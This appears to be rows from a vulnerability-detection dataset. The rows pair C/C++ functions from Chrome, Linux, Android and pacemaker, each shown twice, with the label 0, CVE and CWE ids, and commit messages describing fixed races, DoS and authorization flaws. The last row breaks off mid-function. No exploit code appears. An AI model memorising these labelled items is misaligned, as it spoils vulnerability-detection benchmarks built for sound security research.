void ShelfLayoutManager::CompleteAppListDrag( const ui::GestureEvent& gesture_in_screen) { if (gesture_drag_status_ == GESTURE_DRAG_NONE) return; HomeLauncherGestureHandler* home_launcher_handler = Shell::Get()->app_list_controller()->home_launcher_gesture_handler(); DCHECK(home_launcher_handler); if (home_launcher_handler->OnReleaseEvent(gesture_in_screen.location())) { gesture_drag_status_ = GESTURE_DRAG_NONE; return; } using app_list::AppListViewState; AppListViewState app_list_state = AppListViewState::PEEKING; if (gesture_in_screen.type() == ui::ET_SCROLL_FLING_START && fabs(gesture_in_screen.details().velocity_y()) > kAppListDragVelocityThreshold) { app_list_state = gesture_in_screen.details().velocity_y() < 0 ? AppListViewState::FULLSCREEN_ALL_APPS : AppListViewState::CLOSED; } else { if (IsTabletModeEnabled()) { app_list_state = launcher_above_shelf_bottom_amount_ > kAppListDragSnapToFullscreenThreshold ? AppListViewState::FULLSCREEN_ALL_APPS : AppListViewState::CLOSED; } else { if (launcher_above_shelf_bottom_amount_ <= kAppListDragSnapToClosedThreshold) app_list_state = AppListViewState::CLOSED; else if (launcher_above_shelf_bottom_amount_ <= kAppListDragSnapToPeekingThreshold) app_list_state = AppListViewState::PEEKING; else app_list_state = AppListViewState::FULLSCREEN_ALL_APPS; } } base::Optional<Shelf::ScopedAutoHideLock> auto_hide_lock; if (app_list_state == AppListViewState::CLOSED) auto_hide_lock.emplace(shelf_); Shell::Get()->app_list_controller()->EndDragFromShelf(app_list_state); gesture_drag_status_ = GESTURE_DRAG_NONE; }
void ShelfLayoutManager::CompleteAppListDrag( const ui::GestureEvent& gesture_in_screen) { if (gesture_drag_status_ == GESTURE_DRAG_NONE) return; HomeLauncherGestureHandler* home_launcher_handler = Shell::Get()->app_list_controller()->home_launcher_gesture_handler(); DCHECK(home_launcher_handler); if (home_launcher_handler->OnReleaseEvent(gesture_in_screen.location())) { gesture_drag_status_ = GESTURE_DRAG_NONE; return; } using app_list::AppListViewState; AppListViewState app_list_state = AppListViewState::PEEKING; if (gesture_in_screen.type() == ui::ET_SCROLL_FLING_START && fabs(gesture_in_screen.details().velocity_y()) > kAppListDragVelocityThreshold) { app_list_state = gesture_in_screen.details().velocity_y() < 0 ? AppListViewState::FULLSCREEN_ALL_APPS : AppListViewState::CLOSED; } else { if (IsTabletModeEnabled()) { app_list_state = launcher_above_shelf_bottom_amount_ > kAppListDragSnapToFullscreenThreshold ? AppListViewState::FULLSCREEN_ALL_APPS : AppListViewState::CLOSED; } else { if (launcher_above_shelf_bottom_amount_ <= kAppListDragSnapToClosedThreshold) app_list_state = AppListViewState::CLOSED; else if (launcher_above_shelf_bottom_amount_ <= kAppListDragSnapToPeekingThreshold) app_list_state = AppListViewState::PEEKING; else app_list_state = AppListViewState::FULLSCREEN_ALL_APPS; } } base::Optional<Shelf::ScopedAutoHideLock> auto_hide_lock; if (app_list_state == AppListViewState::CLOSED) auto_hide_lock.emplace(shelf_); Shell::Get()->app_list_controller()->EndDragFromShelf(app_list_state); gesture_drag_status_ = GESTURE_DRAG_NONE; }
C
Chrome
0
CVE-2017-6001
https://www.cvedetails.com/cve/CVE-2017-6001/
CWE-362
https://github.com/torvalds/linux/commit/321027c1fe77f892f4ea07846aeae08cefbbb290
321027c1fe77f892f4ea07846aeae08cefbbb290
perf/core: Fix concurrent sys_perf_event_open() vs. 'move_group' race Di Shen reported a race between two concurrent sys_perf_event_open() calls where both try and move the same pre-existing software group into a hardware context. The problem is exactly that described in commit: f63a8daa5812 ("perf: Fix event->ctx locking") ... where, while we wait for a ctx->mutex acquisition, the event->ctx relation can have changed under us. That very same commit failed to recognise sys_perf_event_context() as an external access vector to the events and thereby didn't apply the established locking rules correctly. So while one sys_perf_event_open() call is stuck waiting on mutex_lock_double(), the other (which owns said locks) moves the group about. So by the time the former sys_perf_event_open() acquires the locks, the context we've acquired is stale (and possibly dead). Apply the established locking rules as per perf_event_ctx_lock_nested() to the mutex_lock_double() for the 'move_group' case. This obviously means we need to validate state after we acquire the locks. Reported-by: Di Shen (Keen Lab) Tested-by: John Dias <joaodias@google.com> Signed-off-by: Peter Zijlstra (Intel) <peterz@infradead.org> Cc: Alexander Shishkin <alexander.shishkin@linux.intel.com> Cc: Arnaldo Carvalho de Melo <acme@kernel.org> Cc: Arnaldo Carvalho de Melo <acme@redhat.com> Cc: Jiri Olsa <jolsa@redhat.com> Cc: Kees Cook <keescook@chromium.org> Cc: Linus Torvalds <torvalds@linux-foundation.org> Cc: Min Chong <mchong@google.com> Cc: Peter Zijlstra <peterz@infradead.org> Cc: Stephane Eranian <eranian@google.com> Cc: Thomas Gleixner <tglx@linutronix.de> Cc: Vince Weaver <vincent.weaver@maine.edu> Fixes: f63a8daa5812 ("perf: Fix event->ctx locking") Link: http://lkml.kernel.org/r/20170106131444.GZ3174@twins.programming.kicks-ass.net Signed-off-by: Ingo Molnar <mingo@kernel.org>
void perf_output_sample(struct perf_output_handle *handle, struct perf_event_header *header, struct perf_sample_data *data, struct perf_event *event) { u64 sample_type = data->type; perf_output_put(handle, *header); if (sample_type & PERF_SAMPLE_IDENTIFIER) perf_output_put(handle, data->id); if (sample_type & PERF_SAMPLE_IP) perf_output_put(handle, data->ip); if (sample_type & PERF_SAMPLE_TID) perf_output_put(handle, data->tid_entry); if (sample_type & PERF_SAMPLE_TIME) perf_output_put(handle, data->time); if (sample_type & PERF_SAMPLE_ADDR) perf_output_put(handle, data->addr); if (sample_type & PERF_SAMPLE_ID) perf_output_put(handle, data->id); if (sample_type & PERF_SAMPLE_STREAM_ID) perf_output_put(handle, data->stream_id); if (sample_type & PERF_SAMPLE_CPU) perf_output_put(handle, data->cpu_entry); if (sample_type & PERF_SAMPLE_PERIOD) perf_output_put(handle, data->period); if (sample_type & PERF_SAMPLE_READ) perf_output_read(handle, event); if (sample_type & PERF_SAMPLE_CALLCHAIN) { if (data->callchain) { int size = 1; if (data->callchain) size += data->callchain->nr; size *= sizeof(u64); __output_copy(handle, data->callchain, size); } else { u64 nr = 0; perf_output_put(handle, nr); } } if (sample_type & PERF_SAMPLE_RAW) { struct perf_raw_record *raw = data->raw; if (raw) { struct perf_raw_frag *frag = &raw->frag; perf_output_put(handle, raw->size); do { if (frag->copy) { __output_custom(handle, frag->copy, frag->data, frag->size); } else { __output_copy(handle, frag->data, frag->size); } if (perf_raw_frag_last(frag)) break; frag = frag->next; } while (1); if (frag->pad) __output_skip(handle, NULL, frag->pad); } else { struct { u32 size; u32 data; } raw = { .size = sizeof(u32), .data = 0, }; perf_output_put(handle, raw); } } if (sample_type & PERF_SAMPLE_BRANCH_STACK) { if (data->br_stack) { size_t size; size = data->br_stack->nr * sizeof(struct perf_branch_entry); perf_output_put(handle, data->br_stack->nr); perf_output_copy(handle, data->br_stack->entries, size); } else { /* * we always store at least the value of nr */ u64 nr = 0; perf_output_put(handle, nr); } } if (sample_type & PERF_SAMPLE_REGS_USER) { u64 abi = data->regs_user.abi; /* * If there are no regs to dump, notice it through * first u64 being zero (PERF_SAMPLE_REGS_ABI_NONE). */ perf_output_put(handle, abi); if (abi) { u64 mask = event->attr.sample_regs_user; perf_output_sample_regs(handle, data->regs_user.regs, mask); } } if (sample_type & PERF_SAMPLE_STACK_USER) { perf_output_sample_ustack(handle, data->stack_user_size, data->regs_user.regs); } if (sample_type & PERF_SAMPLE_WEIGHT) perf_output_put(handle, data->weight); if (sample_type & PERF_SAMPLE_DATA_SRC) perf_output_put(handle, data->data_src.val); if (sample_type & PERF_SAMPLE_TRANSACTION) perf_output_put(handle, data->txn); if (sample_type & PERF_SAMPLE_REGS_INTR) { u64 abi = data->regs_intr.abi; /* * If there are no regs to dump, notice it through * first u64 being zero (PERF_SAMPLE_REGS_ABI_NONE). */ perf_output_put(handle, abi); if (abi) { u64 mask = event->attr.sample_regs_intr; perf_output_sample_regs(handle, data->regs_intr.regs, mask); } } if (!event->attr.watermark) { int wakeup_events = event->attr.wakeup_events; if (wakeup_events) { struct ring_buffer *rb = handle->rb; int events = local_inc_return(&rb->events); if (events >= wakeup_events) { local_sub(wakeup_events, &rb->events); local_inc(&rb->wakeup); } } } }
void perf_output_sample(struct perf_output_handle *handle, struct perf_event_header *header, struct perf_sample_data *data, struct perf_event *event) { u64 sample_type = data->type; perf_output_put(handle, *header); if (sample_type & PERF_SAMPLE_IDENTIFIER) perf_output_put(handle, data->id); if (sample_type & PERF_SAMPLE_IP) perf_output_put(handle, data->ip); if (sample_type & PERF_SAMPLE_TID) perf_output_put(handle, data->tid_entry); if (sample_type & PERF_SAMPLE_TIME) perf_output_put(handle, data->time); if (sample_type & PERF_SAMPLE_ADDR) perf_output_put(handle, data->addr); if (sample_type & PERF_SAMPLE_ID) perf_output_put(handle, data->id); if (sample_type & PERF_SAMPLE_STREAM_ID) perf_output_put(handle, data->stream_id); if (sample_type & PERF_SAMPLE_CPU) perf_output_put(handle, data->cpu_entry); if (sample_type & PERF_SAMPLE_PERIOD) perf_output_put(handle, data->period); if (sample_type & PERF_SAMPLE_READ) perf_output_read(handle, event); if (sample_type & PERF_SAMPLE_CALLCHAIN) { if (data->callchain) { int size = 1; if (data->callchain) size += data->callchain->nr; size *= sizeof(u64); __output_copy(handle, data->callchain, size); } else { u64 nr = 0; perf_output_put(handle, nr); } } if (sample_type & PERF_SAMPLE_RAW) { struct perf_raw_record *raw = data->raw; if (raw) { struct perf_raw_frag *frag = &raw->frag; perf_output_put(handle, raw->size); do { if (frag->copy) { __output_custom(handle, frag->copy, frag->data, frag->size); } else { __output_copy(handle, frag->data, frag->size); } if (perf_raw_frag_last(frag)) break; frag = frag->next; } while (1); if (frag->pad) __output_skip(handle, NULL, frag->pad); } else { struct { u32 size; u32 data; } raw = { .size = sizeof(u32), .data = 0, }; perf_output_put(handle, raw); } } if (sample_type & PERF_SAMPLE_BRANCH_STACK) { if (data->br_stack) { size_t size; size = data->br_stack->nr * sizeof(struct perf_branch_entry); perf_output_put(handle, data->br_stack->nr); perf_output_copy(handle, data->br_stack->entries, size); } else { /* * we always store at least the value of nr */ u64 nr = 0; perf_output_put(handle, nr); } } if (sample_type & PERF_SAMPLE_REGS_USER) { u64 abi = data->regs_user.abi; /* * If there are no regs to dump, notice it through * first u64 being zero (PERF_SAMPLE_REGS_ABI_NONE). */ perf_output_put(handle, abi); if (abi) { u64 mask = event->attr.sample_regs_user; perf_output_sample_regs(handle, data->regs_user.regs, mask); } } if (sample_type & PERF_SAMPLE_STACK_USER) { perf_output_sample_ustack(handle, data->stack_user_size, data->regs_user.regs); } if (sample_type & PERF_SAMPLE_WEIGHT) perf_output_put(handle, data->weight); if (sample_type & PERF_SAMPLE_DATA_SRC) perf_output_put(handle, data->data_src.val); if (sample_type & PERF_SAMPLE_TRANSACTION) perf_output_put(handle, data->txn); if (sample_type & PERF_SAMPLE_REGS_INTR) { u64 abi = data->regs_intr.abi; /* * If there are no regs to dump, notice it through * first u64 being zero (PERF_SAMPLE_REGS_ABI_NONE). */ perf_output_put(handle, abi); if (abi) { u64 mask = event->attr.sample_regs_intr; perf_output_sample_regs(handle, data->regs_intr.regs, mask); } } if (!event->attr.watermark) { int wakeup_events = event->attr.wakeup_events; if (wakeup_events) { struct ring_buffer *rb = handle->rb; int events = local_inc_return(&rb->events); if (events >= wakeup_events) { local_sub(wakeup_events, &rb->events); local_inc(&rb->wakeup); } } } }
C
linux
0
CVE-2016-3839
https://www.cvedetails.com/cve/CVE-2016-3839/
CWE-284
https://android.googlesource.com/platform/system/bt/+/472271b153c5dc53c28beac55480a8d8434b2d5c
472271b153c5dc53c28beac55480a8d8434b2d5c
DO NOT MERGE Fix potential DoS caused by delivering signal to BT process Bug: 28885210 Change-Id: I63866d894bfca47464d6e42e3fb0357c4f94d360 Conflicts: btif/co/bta_hh_co.c btif/src/btif_core.c Merge conflict resolution of ag/1161415 (referencing ag/1164670) - Directly into mnc-mr2-release
void config_set_int(config_t *config, const char *section, const char *key, int value) { assert(config != NULL); assert(section != NULL); assert(key != NULL); char value_str[32] = { 0 }; sprintf(value_str, "%d", value); config_set_string(config, section, key, value_str); }
void config_set_int(config_t *config, const char *section, const char *key, int value) { assert(config != NULL); assert(section != NULL); assert(key != NULL); char value_str[32] = { 0 }; sprintf(value_str, "%d", value); config_set_string(config, section, key, value_str); }
C
Android
0
CVE-2014-1710
https://www.cvedetails.com/cve/CVE-2014-1710/
CWE-119
https://github.com/chromium/chromium/commit/b71fc042e1124cda2ab51dfdacc2362da62779a6
b71fc042e1124cda2ab51dfdacc2362da62779a6
Add bounds validation to AsyncPixelTransfersCompletedQuery::End BUG=351852 R=jbauman@chromium.org, jorgelo@chromium.org Review URL: https://codereview.chromium.org/198253002 git-svn-id: svn://svn.chromium.org/chrome/trunk/src@256723 0039d316-1c4b-4281-b951-d872f2087c98
GLenum QueryManager::AdjustTargetForEmulation(GLenum target) { switch (target) { case GL_ANY_SAMPLES_PASSED_CONSERVATIVE_EXT: case GL_ANY_SAMPLES_PASSED_EXT: if (use_arb_occlusion_query2_for_occlusion_query_boolean_) { target = GL_ANY_SAMPLES_PASSED_EXT; } else if (use_arb_occlusion_query_for_occlusion_query_boolean_) { target = GL_SAMPLES_PASSED_ARB; } break; default: break; } return target; }
GLenum QueryManager::AdjustTargetForEmulation(GLenum target) { switch (target) { case GL_ANY_SAMPLES_PASSED_CONSERVATIVE_EXT: case GL_ANY_SAMPLES_PASSED_EXT: if (use_arb_occlusion_query2_for_occlusion_query_boolean_) { target = GL_ANY_SAMPLES_PASSED_EXT; } else if (use_arb_occlusion_query_for_occlusion_query_boolean_) { target = GL_SAMPLES_PASSED_ARB; } break; default: break; } return target; }
C
Chrome
0
CVE-2015-6252
https://www.cvedetails.com/cve/CVE-2015-6252/
CWE-399
https://github.com/torvalds/linux/commit/7932c0bd7740f4cd2aa168d3ce0199e7af7d72d5
7932c0bd7740f4cd2aa168d3ce0199e7af7d72d5
vhost: actually track log eventfd file While reviewing vhost log code, I found out that log_file is never set. Note: I haven't tested the change (QEMU doesn't use LOG_FD yet). Cc: stable@vger.kernel.org Signed-off-by: Marc-André Lureau <marcandre.lureau@redhat.com> Signed-off-by: Michael S. Tsirkin <mst@redhat.com>
static void *vhost_kvzalloc(unsigned long size) { void *n = kzalloc(size, GFP_KERNEL | __GFP_NOWARN | __GFP_REPEAT); if (!n) { n = vzalloc(size); if (!n) return ERR_PTR(-ENOMEM); } return n; }
static void *vhost_kvzalloc(unsigned long size) { void *n = kzalloc(size, GFP_KERNEL | __GFP_NOWARN | __GFP_REPEAT); if (!n) { n = vzalloc(size); if (!n) return ERR_PTR(-ENOMEM); } return n; }
C
linux
0
CVE-2016-7035
https://www.cvedetails.com/cve/CVE-2016-7035/
CWE-285
https://github.com/ClusterLabs/pacemaker/commit/5d71e65049
5d71e65049
High: libcrmcommon: fix CVE-2016-7035 (improper IPC guarding) It was discovered that at some not so uncommon circumstances, some pacemaker daemons could be talked to, via libqb-facilitated IPC, by unprivileged clients due to flawed authorization decision. Depending on the capabilities of affected daemons, this might equip unauthorized user with local privilege escalation or up to cluster-wide remote execution of possibly arbitrary commands when such user happens to reside at standard or remote/guest cluster node, respectively. The original vulnerability was introduced in an attempt to allow unprivileged IPC clients to clean up the file system materialized leftovers in case the server (otherwise responsible for the lifecycle of these files) crashes. While the intended part of such behavior is now effectively voided (along with the unintended one), a best-effort fix to address this corner case systemically at libqb is coming along (https://github.com/ClusterLabs/libqb/pull/231). Affected versions: 1.1.10-rc1 (2013-04-17) - 1.1.15 (2016-06-21) Impact: Important CVSSv3 ranking: 8.8 : AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H Credits for independent findings, in chronological order: Jan "poki" Pokorný, of Red Hat Alain Moulle, of ATOS/BULL
crm_ipc_send(crm_ipc_t * client, xmlNode * message, enum crm_ipc_flags flags, int32_t ms_timeout, xmlNode ** reply) { long rc = 0; struct iovec *iov; static uint32_t id = 0; static int factor = 8; struct crm_ipc_response_header *header; crm_ipc_init(); if (client == NULL) { crm_notice("Invalid connection"); return -ENOTCONN; } else if (crm_ipc_connected(client) == FALSE) { /* Don't even bother */ crm_notice("Connection to %s closed", client->name); return -ENOTCONN; } if (ms_timeout == 0) { ms_timeout = 5000; } if (client->need_reply) { crm_trace("Trying again to obtain pending reply from %s", client->name); rc = qb_ipcc_recv(client->ipc, client->buffer, client->buf_size, ms_timeout); if (rc < 0) { crm_warn("Sending to %s (%p) is disabled until pending reply is received", client->name, client->ipc); return -EALREADY; } else { crm_notice("Lost reply from %s (%p) finally arrived, sending re-enabled", client->name, client->ipc); client->need_reply = FALSE; } } id++; CRM_LOG_ASSERT(id != 0); /* Crude wrap-around detection */ rc = crm_ipc_prepare(id, message, &iov, client->max_buf_size); if(rc < 0) { return rc; } header = iov[0].iov_base; header->flags |= flags; if(is_set(flags, crm_ipc_proxied)) { /* Don't look for a synchronous response */ clear_bit(flags, crm_ipc_client_response); } if(header->size_compressed) { if(factor < 10 && (client->max_buf_size / 10) < (rc / factor)) { crm_notice("Compressed message exceeds %d0%% of the configured ipc limit (%u bytes), " "consider setting PCMK_ipc_buffer to %u or higher", factor, client->max_buf_size, 2 * client->max_buf_size); factor++; } } crm_trace("Sending from client: %s request id: %d bytes: %u timeout:%d msg...", client->name, header->qb.id, header->qb.size, ms_timeout); if (ms_timeout > 0 || is_not_set(flags, crm_ipc_client_response)) { rc = internal_ipc_send_request(client, iov, ms_timeout); if (rc <= 0) { crm_trace("Failed to send from client %s request %d with %u bytes...", client->name, header->qb.id, header->qb.size); goto send_cleanup; } else if (is_not_set(flags, crm_ipc_client_response)) { crm_trace("Message sent, not waiting for reply to %d from %s to %u bytes...", header->qb.id, client->name, header->qb.size); goto send_cleanup; } rc = internal_ipc_get_reply(client, header->qb.id, ms_timeout); if (rc < 0) { /* No reply, for now, disable sending * * The alternative is to close the connection since we don't know * how to detect and discard out-of-sequence replies * * TODO - implement the above */ client->need_reply = TRUE; } } else { rc = internal_ipc_send_recv(client, iov); } if (rc > 0) { struct crm_ipc_response_header *hdr = (struct crm_ipc_response_header *)(void*)client->buffer; crm_trace("Received response %d, size=%u, rc=%ld, text: %.200s", hdr->qb.id, hdr->qb.size, rc, crm_ipc_buffer(client)); if (reply) { *reply = string2xml(crm_ipc_buffer(client)); } } else { crm_trace("Response not received: rc=%ld, errno=%d", rc, errno); } send_cleanup: if (crm_ipc_connected(client) == FALSE) { crm_notice("Connection to %s closed: %s (%ld)", client->name, pcmk_strerror(rc), rc); } else if (rc == -ETIMEDOUT) { crm_warn("Request %d to %s (%p) failed: %s (%ld) after %dms", header->qb.id, client->name, client->ipc, pcmk_strerror(rc), rc, ms_timeout); crm_write_blackbox(0, NULL); } else if (rc <= 0) { crm_warn("Request %d to %s (%p) failed: %s (%ld)", header->qb.id, client->name, client->ipc, pcmk_strerror(rc), rc); } free(header); free(iov[1].iov_base); free(iov); return rc; }
crm_ipc_send(crm_ipc_t * client, xmlNode * message, enum crm_ipc_flags flags, int32_t ms_timeout, xmlNode ** reply) { long rc = 0; struct iovec *iov; static uint32_t id = 0; static int factor = 8; struct crm_ipc_response_header *header; crm_ipc_init(); if (client == NULL) { crm_notice("Invalid connection"); return -ENOTCONN; } else if (crm_ipc_connected(client) == FALSE) { /* Don't even bother */ crm_notice("Connection to %s closed", client->name); return -ENOTCONN; } if (ms_timeout == 0) { ms_timeout = 5000; } if (client->need_reply) { crm_trace("Trying again to obtain pending reply from %s", client->name); rc = qb_ipcc_recv(client->ipc, client->buffer, client->buf_size, ms_timeout); if (rc < 0) { crm_warn("Sending to %s (%p) is disabled until pending reply is received", client->name, client->ipc); return -EALREADY; } else { crm_notice("Lost reply from %s (%p) finally arrived, sending re-enabled", client->name, client->ipc); client->need_reply = FALSE; } } id++; CRM_LOG_ASSERT(id != 0); /* Crude wrap-around detection */ rc = crm_ipc_prepare(id, message, &iov, client->max_buf_size); if(rc < 0) { return rc; } header = iov[0].iov_base; header->flags |= flags; if(is_set(flags, crm_ipc_proxied)) { /* Don't look for a synchronous response */ clear_bit(flags, crm_ipc_client_response); } if(header->size_compressed) { if(factor < 10 && (client->max_buf_size / 10) < (rc / factor)) { crm_notice("Compressed message exceeds %d0%% of the configured ipc limit (%u bytes), " "consider setting PCMK_ipc_buffer to %u or higher", factor, client->max_buf_size, 2 * client->max_buf_size); factor++; } } crm_trace("Sending from client: %s request id: %d bytes: %u timeout:%d msg...", client->name, header->qb.id, header->qb.size, ms_timeout); if (ms_timeout > 0 || is_not_set(flags, crm_ipc_client_response)) { rc = internal_ipc_send_request(client, iov, ms_timeout); if (rc <= 0) { crm_trace("Failed to send from client %s request %d with %u bytes...", client->name, header->qb.id, header->qb.size); goto send_cleanup; } else if (is_not_set(flags, crm_ipc_client_response)) { crm_trace("Message sent, not waiting for reply to %d from %s to %u bytes...", header->qb.id, client->name, header->qb.size); goto send_cleanup; } rc = internal_ipc_get_reply(client, header->qb.id, ms_timeout); if (rc < 0) { /* No reply, for now, disable sending * * The alternative is to close the connection since we don't know * how to detect and discard out-of-sequence replies * * TODO - implement the above */ client->need_reply = TRUE; } } else { rc = internal_ipc_send_recv(client, iov); } if (rc > 0) { struct crm_ipc_response_header *hdr = (struct crm_ipc_response_header *)(void*)client->buffer; crm_trace("Received response %d, size=%u, rc=%ld, text: %.200s", hdr->qb.id, hdr->qb.size, rc, crm_ipc_buffer(client)); if (reply) { *reply = string2xml(crm_ipc_buffer(client)); } } else { crm_trace("Response not received: rc=%ld, errno=%d", rc, errno); } send_cleanup: if (crm_ipc_connected(client) == FALSE) { crm_notice("Connection to %s closed: %s (%ld)", client->name, pcmk_strerror(rc), rc); } else if (rc == -ETIMEDOUT) { crm_warn("Request %d to %s (%p) failed: %s (%ld) after %dms", header->qb.id, client->name, client->ipc, pcmk_strerror(rc), rc, ms_timeout); crm_write_blackbox(0, NULL); } else if (rc <= 0) { crm_warn("Request %d to %s (%p) failed: %s (%ld)", header->qb.id, client->name, client->ipc, pcmk_strerror(rc), rc); } free(header); free(iov[1].iov_base); free(iov); return rc; }
C
pacemaker
0
CVE-2016-0826
https://www.cvedetails.com/cve/CVE-2016-0826/
CWE-264
https://android.googlesource.com/platform/frameworks/av/+/c9ab2b0bb05a7e19fb057e79b36e232809d70122
c9ab2b0bb05a7e19fb057e79b36e232809d70122
Camera: Disallow dumping clients directly Camera service dumps should only be initiated through ICameraService::dump. Bug: 26265403 Change-Id: If3ca4718ed74bf33ad8a416192689203029e2803
void CameraDeviceClient::notifyError() { sp<ICameraDeviceCallbacks> remoteCb = getRemoteCallback(); if (remoteCb != 0) { remoteCb->onDeviceError(ICameraDeviceCallbacks::ERROR_CAMERA_DEVICE); } }
void CameraDeviceClient::notifyError() { sp<ICameraDeviceCallbacks> remoteCb = getRemoteCallback(); if (remoteCb != 0) { remoteCb->onDeviceError(ICameraDeviceCallbacks::ERROR_CAMERA_DEVICE); } }
C
Android
0
CVE-2016-2476
https://www.cvedetails.com/cve/CVE-2016-2476/
CWE-119
https://android.googlesource.com/platform/frameworks/av/+/94d9e646454f6246bf823b6897bd6aea5f08eda3
94d9e646454f6246bf823b6897bd6aea5f08eda3
Fix initialization of AAC presentation struct Otherwise the new size checks trip on this. Bug: 27207275 Change-Id: I1f8f01097e3a88ff041b69279a6121be842f1766
void ACodec::notifyOfRenderedFrames(bool dropIncomplete, FrameRenderTracker::Info *until) { sp<AMessage> msg = mNotify->dup(); msg->setInt32("what", CodecBase::kWhatOutputFramesRendered); std::list<FrameRenderTracker::Info> done = mRenderTracker.checkFencesAndGetRenderedFrames(until, dropIncomplete); for (std::list<FrameRenderTracker::Info>::const_iterator it = done.cbegin(); it != done.cend(); ++it) { ssize_t index = it->getIndex(); if (index >= 0 && (size_t)index < mBuffers[kPortIndexOutput].size()) { mBuffers[kPortIndexOutput].editItemAt(index).mRenderInfo = NULL; } else if (index >= 0) { ALOGE("invalid index %zd in %zu", index, mBuffers[kPortIndexOutput].size()); } } if (MediaCodec::CreateFramesRenderedMessage(done, msg)) { msg->post(); } }
void ACodec::notifyOfRenderedFrames(bool dropIncomplete, FrameRenderTracker::Info *until) { sp<AMessage> msg = mNotify->dup(); msg->setInt32("what", CodecBase::kWhatOutputFramesRendered); std::list<FrameRenderTracker::Info> done = mRenderTracker.checkFencesAndGetRenderedFrames(until, dropIncomplete); for (std::list<FrameRenderTracker::Info>::const_iterator it = done.cbegin(); it != done.cend(); ++it) { ssize_t index = it->getIndex(); if (index >= 0 && (size_t)index < mBuffers[kPortIndexOutput].size()) { mBuffers[kPortIndexOutput].editItemAt(index).mRenderInfo = NULL; } else if (index >= 0) { ALOGE("invalid index %zd in %zu", index, mBuffers[kPortIndexOutput].size()); } } if (MediaCodec::CreateFramesRenderedMessage(done, msg)) { msg->post(); } }
C
Android
0
CVE-2012-6638
https://www.cvedetails.com/cve/CVE-2012-6638/
CWE-399
https://github.com/torvalds/linux/commit/fdf5af0daf8019cec2396cdef8fb042d80fe71fa
fdf5af0daf8019cec2396cdef8fb042d80fe71fa
tcp: drop SYN+FIN messages Denys Fedoryshchenko reported that SYN+FIN attacks were bringing his linux machines to their limits. Dont call conn_request() if the TCP flags includes SYN flag Reported-by: Denys Fedoryshchenko <denys@visp.net.lb> Signed-off-by: Eric Dumazet <eric.dumazet@gmail.com> Signed-off-by: David S. Miller <davem@davemloft.net>
static int tcp_clean_rtx_queue(struct sock *sk, int prior_fackets, u32 prior_snd_una) { struct tcp_sock *tp = tcp_sk(sk); const struct inet_connection_sock *icsk = inet_csk(sk); struct sk_buff *skb; u32 now = tcp_time_stamp; int fully_acked = 1; int flag = 0; u32 pkts_acked = 0; u32 reord = tp->packets_out; u32 prior_sacked = tp->sacked_out; s32 seq_rtt = -1; s32 ca_seq_rtt = -1; ktime_t last_ackt = net_invalid_timestamp(); while ((skb = tcp_write_queue_head(sk)) && skb != tcp_send_head(sk)) { struct tcp_skb_cb *scb = TCP_SKB_CB(skb); u32 acked_pcount; u8 sacked = scb->sacked; /* Determine how many packets and what bytes were acked, tso and else */ if (after(scb->end_seq, tp->snd_una)) { if (tcp_skb_pcount(skb) == 1 || !after(tp->snd_una, scb->seq)) break; acked_pcount = tcp_tso_acked(sk, skb); if (!acked_pcount) break; fully_acked = 0; } else { acked_pcount = tcp_skb_pcount(skb); } if (sacked & TCPCB_RETRANS) { if (sacked & TCPCB_SACKED_RETRANS) tp->retrans_out -= acked_pcount; flag |= FLAG_RETRANS_DATA_ACKED; ca_seq_rtt = -1; seq_rtt = -1; if ((flag & FLAG_DATA_ACKED) || (acked_pcount > 1)) flag |= FLAG_NONHEAD_RETRANS_ACKED; } else { ca_seq_rtt = now - scb->when; last_ackt = skb->tstamp; if (seq_rtt < 0) { seq_rtt = ca_seq_rtt; } if (!(sacked & TCPCB_SACKED_ACKED)) reord = min(pkts_acked, reord); } if (sacked & TCPCB_SACKED_ACKED) tp->sacked_out -= acked_pcount; if (sacked & TCPCB_LOST) tp->lost_out -= acked_pcount; tp->packets_out -= acked_pcount; pkts_acked += acked_pcount; /* Initial outgoing SYN's get put onto the write_queue * just like anything else we transmit. It is not * true data, and if we misinform our callers that * this ACK acks real data, we will erroneously exit * connection startup slow start one packet too * quickly. This is severely frowned upon behavior. */ if (!(scb->tcp_flags & TCPHDR_SYN)) { flag |= FLAG_DATA_ACKED; } else { flag |= FLAG_SYN_ACKED; tp->retrans_stamp = 0; } if (!fully_acked) break; tcp_unlink_write_queue(skb, sk); sk_wmem_free_skb(sk, skb); tp->scoreboard_skb_hint = NULL; if (skb == tp->retransmit_skb_hint) tp->retransmit_skb_hint = NULL; if (skb == tp->lost_skb_hint) tp->lost_skb_hint = NULL; } if (likely(between(tp->snd_up, prior_snd_una, tp->snd_una))) tp->snd_up = tp->snd_una; if (skb && (TCP_SKB_CB(skb)->sacked & TCPCB_SACKED_ACKED)) flag |= FLAG_SACK_RENEGING; if (flag & FLAG_ACKED) { const struct tcp_congestion_ops *ca_ops = inet_csk(sk)->icsk_ca_ops; if (unlikely(icsk->icsk_mtup.probe_size && !after(tp->mtu_probe.probe_seq_end, tp->snd_una))) { tcp_mtup_probe_success(sk); } tcp_ack_update_rtt(sk, flag, seq_rtt); tcp_rearm_rto(sk); if (tcp_is_reno(tp)) { tcp_remove_reno_sacks(sk, pkts_acked); } else { int delta; /* Non-retransmitted hole got filled? That's reordering */ if (reord < prior_fackets) tcp_update_reordering(sk, tp->fackets_out - reord, 0); delta = tcp_is_fack(tp) ? pkts_acked : prior_sacked - tp->sacked_out; tp->lost_cnt_hint -= min(tp->lost_cnt_hint, delta); } tp->fackets_out -= min(pkts_acked, tp->fackets_out); if (ca_ops->pkts_acked) { s32 rtt_us = -1; /* Is the ACK triggering packet unambiguous? */ if (!(flag & FLAG_RETRANS_DATA_ACKED)) { /* High resolution needed and available? */ if (ca_ops->flags & TCP_CONG_RTT_STAMP && !ktime_equal(last_ackt, net_invalid_timestamp())) rtt_us = ktime_us_delta(ktime_get_real(), last_ackt); else if (ca_seq_rtt >= 0) rtt_us = jiffies_to_usecs(ca_seq_rtt); } ca_ops->pkts_acked(sk, pkts_acked, rtt_us); } } #if FASTRETRANS_DEBUG > 0 WARN_ON((int)tp->sacked_out < 0); WARN_ON((int)tp->lost_out < 0); WARN_ON((int)tp->retrans_out < 0); if (!tp->packets_out && tcp_is_sack(tp)) { icsk = inet_csk(sk); if (tp->lost_out) { printk(KERN_DEBUG "Leak l=%u %d\n", tp->lost_out, icsk->icsk_ca_state); tp->lost_out = 0; } if (tp->sacked_out) { printk(KERN_DEBUG "Leak s=%u %d\n", tp->sacked_out, icsk->icsk_ca_state); tp->sacked_out = 0; } if (tp->retrans_out) { printk(KERN_DEBUG "Leak r=%u %d\n", tp->retrans_out, 